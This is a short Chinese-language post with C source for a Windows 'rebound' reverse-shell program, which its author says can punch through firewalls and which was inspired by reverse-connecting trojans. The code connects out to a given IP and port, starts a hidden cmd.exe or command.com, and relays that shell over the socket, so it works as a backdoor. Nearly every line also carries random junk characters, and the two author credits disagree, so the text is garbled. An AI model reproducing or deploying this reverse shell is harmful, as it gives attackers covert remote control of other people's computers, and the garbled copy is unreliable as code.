这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MoXai0d%
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/* ============================== &oE'|^G
Rebound port in Windows NT >,.\`.0
By wind,2006/7 ;{Yr|
===============================*/ /.(~=6o5
#include dt0(04
#include l,5isq
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n\< uT1n
#pragma comment(lib,"wsock32.lib") dXPTW;w
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void OutputShell(); LVy`U07C V
SOCKET sClient; eM]>"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cfPp>EK
vuZ'Wo:S{
void main(int argc,char **argv) W6RjQ1
{ {8 &=t8,c
WSADATA stWsaData; dkW7k^g
int nRet; pgW^hj\
SOCKADDR_IN stSaiClient,stSaiServer; %jJIR88
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if(argc != 3) QRx9;!~b}
{ N;DE,[:<
printf("Useage:\n\rRebound DestIP DestPort\n"); fymmAfaR
return;
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} *to#ZMR;!
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WSAStartup(MAKEWORD(2,2),&stWsaData); l3+G ]C&<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (:^YfG~e
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stSaiClient.sin_family = AF_INET; (Q.tH
stSaiClient.sin_port = htons(0); sX]gL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 36Lf8~d4"h
W.59Al'
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8g=];@z
{ lR/Uboyy
printf("Bind Socket Failed!\n"); XtE O )
return; _bRgr
} a5(9~.9
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stSaiServer.sin_family = AF_INET; pU<GI@gU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T)tTzgLD}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); efuiFN;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FxT]*mo
{ r*ziO#[
printf("Connect Error!"); [ {HTGz@(
return; ;Aheeq746
} og_ylCh:
OutputShell(); BjHp3-A'
} 'UTMEN&
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void OutputShell() JE# H&]
{ ^F-2tc
char szBuff[1024]; s@g _F
SECURITY_ATTRIBUTES stSecurityAttributes; p} JGx^X~
OSVERSIONINFO stOsversionInfo; "Xl"H/3r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rHqP[[4B'
STARTUPINFO stStartupInfo; a@AIv"q
char *szShell; [;l;kom
PROCESS_INFORMATION stProcessInformation; 1r5Z$3t\
unsigned long lBytesRead; ^5)=)xVF
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~fs}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cEn|Q
stSecurityAttributes.lpSecurityDescriptor = 0; CtUAbR
stSecurityAttributes.bInheritHandle = TRUE; flz7{W
7<(kvE*x
~jzT;9:
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p@h<u!rL8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FbH@qHSH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f(\S+4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?X\uzu
stStartupInfo.wShowWindow = SW_HIDE; n]nJ$u1u
stStartupInfo.hStdInput = hReadPipe; m8eoD{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y3bL\d1
y-S23B(
GetVersionEx(&stOsversionInfo); : GFK
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Hd{H=
switch(stOsversionInfo.dwPlatformId) @i#=1)Ze
{ yTNHM_P
case 1: IsVR4t]
szShell = "command.com"; YS<KyTb"
break; HdTB[(
default: b8[
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szShell = "cmd.exe"; -~*kAh
break; !Q,Dzv"7
} A<(Fn_&W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4^9qs%&
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send(sClient,szMsg,77,0); x7i,jMR
while(1) :.f(}sCS
{ ezhfKt]j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); di]CYLf
if(lBytesRead) b(adM3MP
{ L-m'
#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k4en/&
send(sClient,szBuff,lBytesRead,0); 7\H_9o0$
} vg1E@rH|}
else k4!p))ql
{ WpMm%G~'4t
lBytesRead=recv(sClient,szBuff,1024,0); '5A&c(
if(lBytesRead<=0) break; <-gGm=R_ $
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V0*MY{x#S
} KI].T+I
} !Q}Bz*Y
+:/.\3v71
return; P%d3fFzK
}